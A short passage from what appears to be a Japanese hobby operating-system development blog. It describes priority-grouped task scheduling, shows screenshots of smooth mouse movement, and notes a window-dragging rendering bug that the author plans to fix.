 ・タスクを優先度でグループ分けし,一番上のタスクたちだけを実行する.

実装については本の内容と大きく変わるようなことは行っていないため省略.

f:id:udon-yuya:20200516023945p:plain
マウスが動かしやすくなり,それぞれのタスクのスピードも申し分ない
f:id:udon-yuya:20200516024127p:plain
ウィンドウを動かすと変な線が入るバグがあった

バグについては後日直したい.